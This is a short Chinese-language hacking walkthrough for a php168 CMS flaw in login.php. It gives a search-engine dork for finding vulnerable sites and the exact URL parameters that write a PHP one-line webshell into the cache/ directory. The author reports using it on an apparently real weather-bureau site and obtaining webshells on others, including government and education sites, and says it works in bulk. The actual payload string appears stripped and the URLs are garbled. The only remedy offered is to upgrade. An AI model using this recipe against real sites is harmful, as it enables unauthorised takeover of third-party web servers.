问题很大，最好不要忽视。。。。利用代码将php木马插入到cache/目录里轻松获得webshell，可批量。

　　利用搜索引擎搜索

　　Powered by php168 v6或者一下版本v5、v4、v3、v2、v1会搜索到很多很多相关的网站

　　由于漏洞是因为login.php文件对于变量过滤不严所造成的，因此我们无需想方设法的去破解密码，而只需将黑客获取网站webshell的利器“一句话木马”写入到网站中就可以了。

　　我们随便找网站测试

　　就用德州气象局的吧。。。

　　http://http://www.zjjv.com///

　　在其域名后加上这样一段代码：login.php?makehtml=1&chdb[htmlname]=wooyun.php&chdb[path]=cache&content=。这段代码的意思利用login.php文件将这段代码写入到网站缓存目录cache的wooyun.php文件中。“”就是一句话木马的服务端。

　　那么URL就是http://http://www.zjjv.com///login.php？makehtml=1&chdb[htmlname]=wooyun.php&chdb[path]=cache&content=

　　然后点击回车

　　如果跳转到登陆界面的话就有可能已经将木马写入到了cache目录里了

　　这时我们进入木马地址看看http://http://www.zjjv.com///cache/wooyun.php

　　OK，什么都不显示就说明一句话木马写入成功,我们连接上工具看看

　　成功拿到webshell

　　也可以直接上传大马，我就不演示了。

　　其他网站也存在该漏洞

　　而且还有很多政府、教育的站点。。。。

　　http://http://www.zjjv.com///cache/wooyun.php密码*****(不公布了)

　　http://http://www.zjjv.com///cache/wooyun.php密码****(不公布了)

　　漏洞修复方法：升级版本。